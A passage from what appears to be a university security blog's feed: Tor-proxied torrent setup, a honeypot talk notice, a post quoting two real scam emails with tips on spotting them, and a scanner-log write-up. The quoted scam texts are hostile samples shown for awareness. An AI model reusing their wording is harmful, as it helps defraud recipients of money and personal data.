<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://cybercloud.upb.ro/blog/torrenting#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h4>
<p>Run the following commands as the root user.</p>
<p><strong>Ubuntu/Debian</strong></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">apt install -y apt-transport-https lsb-release</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">distribution="$(lsb-release -sc)"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">echo "   deb     [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org ${distribution} main</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">   deb-src [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org ${distribution} main" | tee /etc/apt/sources.list.d/tor.list</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">wget -qO- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --dearmor | tee /usr/share/keyrings/deb.torproject.org-keyring.gpg &gt;/dev/null</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">apt update</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">apt install tor deb.torproject.org-keyring</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl enable --now tor</span><br></div></code></pre></div></div>
<p><strong>Fedora</strong></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">echo '[tor]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">name=Tor for Fedora $releasever - $basearch</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">baseurl=https://rpm.torproject.org/fedora/$releasever/$basearch</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">enabled=1</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">gpgcheck=1</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">gpgkey=https://rpm.torproject.org/fedora/public_gpg.key</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">cost=100' &gt; /etc/yum.repos.d/tor.repo</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">dnf install tor</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl enable --now tor</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="installing-transmission">Installing transmission<a href="https://cybercloud.upb.ro/blog/torrenting#installing-transmission" class="hash-link" aria-label="Direct link to Installing transmission" title="Direct link to Installing transmission" translate="no">​</a></h3>
<p><strong>Ubuntu/Debian</strong></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">apt install transmission-common transmission-daemon</span><br></div></code></pre></div></div>
<p><strong>Fedora</strong></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">dnf install transmission-common transmission-daemon</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="downloading-the-torrent">Downloading the torrent<a href="https://cybercloud.upb.ro/blog/torrenting#downloading-the-torrent" class="hash-link" aria-label="Direct link to Downloading the torrent" title="Direct link to Downloading the torrent" translate="no">​</a></h2>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="configuring-transmission">Configuring transmission<a href="https://cybercloud.upb.ro/blog/torrenting#configuring-transmission" class="hash-link" aria-label="Direct link to Configuring transmission" title="Direct link to Configuring transmission" translate="no">​</a></h3>
<p>In order to use TOR both for resolving the hostname of the tracker and for tunnelling traffic, we need to edit the configuration file of <code>transmission-daemon</code> and set the <code>http_proxy</code> environment variable to <code>socks5h://127.0.0.1:9050</code>.</p>
<p>Run the command below and add the following line under the <code>[Service]</code> section: <code>Environment=http_proxy=socks5h://127.0.0.1:9050/</code></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">systemctl edit --full transmission-daemon.service</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>warning</div><div class="admonitionContent_BuS1"><p>At the time of writing, there is a bug that stops the <code>transmission-daemon</code> from starting with the default configuration. When editing the service file with the command above also change <code>Type=notify</code> to <code>Type=simple</code> if you have issues starting the service.</p><p>You can <a href="https://askubuntu.com/questions/1527761/transmission-daemon-times-out-when-launched-by-systemd" target="_blank" rel="noopener noreferrer" class="">find more details about this issue here</a>.</p></div></div>
<p>Example of how the file should look now:</p>
<div class="language-ini codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-ini codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">[Unit]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Description=Transmission BitTorrent Daemon</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Wants=network-online.target</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">After=network-online.target</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">[Service]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">User=debian-transmission</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Type=simple</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Environment=http_proxy=socks5h://127.0.0.1:9050/</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">ExecStart=/usr/bin/transmission-daemon -f --log-level=error</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">ExecReload=/bin/kill -s HUP $MAINPID</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">NoNewPrivileges=true</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">MemoryDenyWriteExecute=true</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">ProtectSystem=true</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">PrivateTmp=true</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">[Install]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">WantedBy=multi-user.target</span><br></div></code></pre></div></div>
<p>Reload the service file configuration, and start the service.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">systemctl daemon-reload</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl enable --now transmission-daemon</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="downloading-the-torrent-1">Downloading the torrent<a href="https://cybercloud.upb.ro/blog/torrenting#downloading-the-torrent-1" class="hash-link" aria-label="Direct link to Downloading the torrent" title="Direct link to Downloading the torrent" translate="no">​</a></h3>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>warning</div><div class="admonitionContent_BuS1"><p>You might need to log out and log back in before you can add torrents.</p></div></div>
<p>In order to download the torrent you need to use the <code>transmission-remote</code> command.</p>
<p>Some good documentation can be found <a href="https://help.ubuntu.com/community/TransmissionHowTo" target="_blank" rel="noopener noreferrer" class="">here</a>.</p>
<p>In order to add a torrent file run use the following command:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">transmission-remote -n 'transmission:transmission' -a /path/to/torrent/file.torrent</span><br></div></code></pre></div></div>
<p>By default, you will find the downloads under <code>/var/lib/transmission/downloads</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/torrenting#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h2>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Intercepting Potentially Malicious Payloads With Web Honeypots]]></title>
        <id>https://cybercloud.upb.ro/blog/web-based-honeypot</id>
        <link href="https://cybercloud.upb.ro/blog/web-based-honeypot"/>
        <updated>2025-03-11T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Monitoring Low Hanging Fruits For Malicious Behavior]]></summary>
        <content type="html"><![CDATA[<p>It has been silent around here as of late, but for good reason: we're starting the year (a bit late) with a presentation on web honeypots!
Join us Monday, the 17th of March, for "Intercepting Potentially Malicious Payloads with Web Honeypots".
The presentation will take you through all the steps you need to follow if you want to do this yourself: Docker containers, Elastic Stack, some good SysDevOps practices...</p>
<p>... But we know you are here for the threat intelligence, so don't worry, there will be some of that too, but only for your eyes.</p>
<p>Don't miss out! Register <a href="https://indico.upb.ro/event/2/" target="_blank" rel="noopener noreferrer" class="">here</a> and we'll send you an invite!</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/web-based-honeypot#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Ho, ho, ho! Seasonal (spam) greetings!]]></title>
        <id>https://cybercloud.upb.ro/blog/seasonal-spam</id>
        <link href="https://cybercloud.upb.ro/blog/seasonal-spam"/>
        <updated>2024-12-18T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Ho, ho, ho! Seasonal (spam) greetings!]]></summary>
        <content type="html"><![CDATA[<p>The Christmas season brings, besides joy and lights, warm emails with a twist.
Good samaritans who want to share their joy and money with you will send you an
email with an incredible offer that cannot be refused.</p>
<img src="https://cybercloud.upb.ro/assets/images/gekko-cantrefuse-4a7232054acd1d80fc379446058e4c08.gif" width="600">
<p>If you are enticed by their offer, you can send them your personal information
in return (name, bank information and so on).</p>
<p>Beware! If something sounds too good to be true, it usually is a scam.
As presented in this blog post from <a href="https://www.bitdefender.com/en-us/blog/hotforsecurity/seasonal-themed-scams-hit-user-inboxes-in-the-run-up-to-christmas-bitdefender-antispam-lab-warns" target="_blank" rel="noopener noreferrer" class="">Bitdefender</a>,
spam campaigns tend to multiply like mushrooms during December.</p>
<p>Some of them might seem innocent (you just have to reply, nothing more, see below),
but, in reality, your response/action shows the attackers that your email is still
active and they can continue phishing for information. Others may directly request
bank data (check the second spam sample) or, even worse, send you malicious files.</p>
<p>See below such spam message received by one of our colleagues:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain"> From: ANNA LESZCYNSKA &lt;annaleszcynska86@gmail.com&gt;</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Date: Tue, 17 Dec 2024 at 15:56</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Subject: Thank God</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">To:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"> Donation From Mrs Anna Leszcynska.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Dearest one,</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"> Complement of the season to you &amp; family know that this letter may come to you as a surprise, I believe that you will be honest and sincere to fulfill my final wish before I die. I am presently in Abidjan, Ivory Coast, West-Africa .Since eight years ago as a business woman dealing with cocoa exportation; I am Anna Leszczynska malgorzata 54 years old now suffering from a long time colon cancer. From all indications, my condition is really deteriorating, and my doctors have courageously advised me that I may not live beyond the next One Month, this is because the cancer stage has reached a critical stage. I have no children. My husband died in a fatal motor accident some years back, since his death I decided not to re- marry because of my bad health.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"> Before The death of my husband, he deposited the sum of four million four hundred thousand dollars in the bank, I want you to assist me in order to claim the fund from the bank, the sum of Four Million Four Hundred Thousand United States Dollars as my husband's foreign business partner, after you have received the Fund to your account in your country, you will then use it for humanitarian project. Keep 30% of the money for yourself for your help to my wish and invest the rest of the money in humanitarian projects. I believe you are in a better position to help me claim the Fund from the Bank, As soon as I receive your reply I shall give you the contact of the Bank where the Fund is deposited.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"> Please assure me that you will act accordingly as I stated here. If you are interested kindly reply immediately and always remember me in your daily prayers thanks and remain blessed.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Regards Anna.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div></code></pre></div></div>
<p>How to easily identify spam messages:</p>
<ul>
<li class="">check the source and the destination.
You can see that the "To: " section is empty. Our colleague's email address was
added as BCC. Most of the time, this implies that a mass email was sent and recipients
shouldn’t know about each other.</li>
<li class="">double-check if you know that person. One fast Google search for this person's
name (Anna Leszczynska malgorzata) shows multiple links to posts regarding scam
activities under this name.</li>
<li class="">very sad and emotional story, usually implying an illness or death of someone,
trying to pull on your heart strings. In this case, the sender is supposed to die
in a very short time (so you have to respond ASAP and not lose the opportunity).</li>
<li class="">the large amount of money this good samaritan wants to donate to you (Why you?
Who knows? They must have found your CV somewhere and you impressed them so so much).</li>
</ul>
<p><a href="https://blog.google/technology/safety-security/how-to-spot-scams-and-what-to-do-if-you-encounter-one/#spotwebscamshttps://blog.google/technology/safety-security/how-to-spot-scams-and-what-to-do-if-you-encounter-one/#spotwebscams" target="_blank" rel="noopener noreferrer" class="">Here</a> you have a very comprehensive blog post on how you can spot scams and keep your digital data secure. Other interesting (and recent) articles on this topic can be found here:</p>
<ul>
<li class=""><a href="https://blog.google/products/gmail/gmail-holidays-2024-spam-scam/" target="_blank" rel="noopener noreferrer" class="">https://blog.google/products/gmail/gmail-holidays-2024-spam-scam/</a></li>
<li class=""><a href="https://thehackernews.com/2024/12/ongoing-phishing-and-malware-campaigns.html" target="_blank" rel="noopener noreferrer" class="">https://thehackernews.com/2024/12/ongoing-phishing-and-malware-campaigns.html</a></li>
<li class=""><a href="https://news.trendmicro.com/2024/12/17/christmas-scams-2024/" target="_blank" rel="noopener noreferrer" class="">https://news.trendmicro.com/2024/12/17/christmas-scams-2024/</a></li>
</ul>
<p>Another spam sample received by our colleagues can be found below. This time,
the “To” field is filled with a mail address (usually to bypass the spam filters).
Here, the sender implies that you had a previous discussion (over the phone) and
this is just a follow-up message. In order to complete the “financial transfer”,
you have to generously send them a lot of your personal information (which can
then be used for other fraudulent activities). The “RE: REF …” at the beginning of
the subject is there to trick you: you might think the message is a reply to a
previous conversation. Moreover, there seems to be a payment reference which makes
things look more credible.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">From: M a u r i c e &lt;brickshire00-005@cepimose.si&gt;</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Date: Wed, 11 Dec 2024 at 05:36</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Subject: A T T N: Beneficiary</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">To: &lt;brickshire00-005@cepimose.si&gt;</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">ATTN: Beneficiary</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">RE: REF: PAY/APRD-783/0945/NO</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Dear Customer,</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Following all our fruitless efforts to reach you on the phone as regards to the payment order received in your favor, this is to officially notify you that your payment, with its full interest, is now 100% approved for final transfer, and this fund release instruction will be carried out swiftly upon your good compliance. So therefore you are requested to kindly re-confirm to us as listed below so we can commence with immediate release of your fund as instructed via Bank to Bank wire Transfer respectively. To enable us commence with the procedures for a smooth completion of transaction, you are requested to attach a copy of your valid means of identification, also furnish us with the below personal and banking details.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">RE-CONFIRM AS LISTED BELOW:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BENEFICIARY'S FULL NAME:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BENEFICIARY'S CONTACT ADDRESS:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BENEFICIARY'S ACTIVE TEL NUMBER:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BENEFICIARY'S MOBILE NUMBER:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BENEFICIARY'S BANK NAME:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BENEFICIARY'S BANK ADDRESS:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BANK SWIFT CODE:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BANK ROUTING NUMBER:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BANK IBAN NUMBER:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BANK ACCOUNT NUMBER:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">BENEFICIARY'S ACCOUNT NAME:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Looking forward to your swift response to enable us to serve you better.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Yours Truly,</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">MR, Maurice Donald</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Head of Operations, Santander Bank UK plc</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">London, NW1 3AN, United Kingdom.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div></code></pre></div></div>
<p><a href="https://www.santander.co.uk/personal/support/fraud-and-security/spotting-fraud-or-scams" target="_blank" rel="noopener noreferrer" class="">Here</a> is yet another comprehensive article on how to spot scams, by the company this scammer impersonated.</p>
<p>So, keep in mind: if something sounds too good to be true, it probably is a scam.
Keep a sharp eye, stay safe and don’t read your (spam) emails during the Christmas
holidays (you should probably spend that time with your loved ones).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/seasonal-spam#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Can I help you, Mr. Bad Bot?]]></title>
        <id>https://cybercloud.upb.ro/blog/mr-bad-bot</id>
        <link href="https://cybercloud.upb.ro/blog/mr-bad-bot"/>
        <updated>2024-09-30T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Aggresive scanning on support ticketing platform]]></summary>
        <content type="html"><![CDATA[<p>Everybody knows the Internet is full of crawlers, bots, scanners and other opportunistic traffic. This is not breaking news, but sometimes you come across a scanner so aggressive it makes you think you are actively targeted for a second.</p>
<p>We first noticed this particularly aggressive scan on our support ticketing platform during September 2024, with over 18 000 requests in the span of 20 minutes from <code>52.86.221.173</code>.</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command info punctuation user" style="color:rgb(4, 81, 165)">[root@server tmp]</span><span class="token command shell-symbol important">#</span><span class="token command"> </span><span class="token command bash language-bash">cat osticket_syslog.txt | grep 52.86.221.173 | grep 2024-09-07 | less | wc -l</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token output">18546</span><br></div></code></pre></div></div>
<p>The scanner was fuzzing the new ticket form, but it couldn't figure out how to use the CSRF token, since all the logs were for an invalid CSRF token.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php</span><br></div></code></pre></div></div>
<p>What makes it obvious this is just an aggressive scan and not a targeted attack is the lack of technology identification. The attempts ranged from XSS and SQL injection to SSTI and path traversals. There were even some Log4j exploitation attempts in there.</p>
